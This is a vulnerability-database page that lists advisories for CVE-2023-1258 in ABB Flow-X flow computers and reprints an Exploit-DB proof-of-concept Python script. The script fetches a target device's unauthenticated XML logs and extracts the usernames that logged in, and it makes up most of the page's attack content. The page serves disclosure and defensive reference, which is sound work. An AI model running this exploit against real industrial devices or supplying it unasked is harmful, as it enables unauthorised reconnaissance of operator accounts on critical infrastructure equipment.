| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| ABB FlowX v4.00 - Exposure of Sensitive Information Exploit | 19 Jul 202300:00 | – | zdt | |
| CVE-2023-1258 | 31 Mar 202312:22 | – | circl | |
| ABB Flow-X 信息泄露漏洞 | 31 Mar 202300:00 | – | cnnvd | |
| CVE-2023-1258 | 31 Mar 202307:56 | – | cve | |
| CVE-2023-1258 Flow-X disclosure of sensitive information to unauthenticated users | 31 Mar 202307:56 | – | cvelist | |
| ABB FlowX v4.00 - Exposure of Sensitive Information | 19 Jul 202300:00 | – | exploitdb | |
| EUVD-2023-23527 | 3 Oct 202520:07 | – | euvd | |
| CVE-2023-1258 | 31 Mar 202308:15 | – | nvd | |
| Code injection | 31 Mar 202308:15 | – | prion | |
| PT-2023-9783 · Abb · Flow-X | 21 Mar 202300:00 | – | ptsecurity |
`# Exploit Title: ABB FlowX v4.00 - Exposure of Sensitive Information
# Date: 2023-03-31
# Exploit Author: Paul Smith
# Vendor Homepage: https://new.abb.com/products/measurement-products/flow-computers/spirit-it-flow-x-series
# Version: ABB Flow-X all versions before V4.00
# Tested on: Kali Linux
# CVE: CVE-2023-1258
#!/usr/bin/python
import sys
import re
from bs4 import BeautifulSoup as BS
import lxml
import requests
# Set the request parameter
url = sys.argv[1]
def dump_users():
response = requests.get(url)
# Check for HTTP codes other than 200
if response.status_code != 200:
print('Status:', response.status_code, 'Headers:', response.headers, 'Error Response:',response.text)
exit()
# Decode the xml response into dictionary and use the data
data = response.text
soup = BS(data, features="xml")
logs = soup.find_all("log")
for log in logs:
test = re.search('User (.*?) logged in',str(log))
if test:
print(test.group(0))
def main():
dump_users()
if __name__ == '__main__':
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation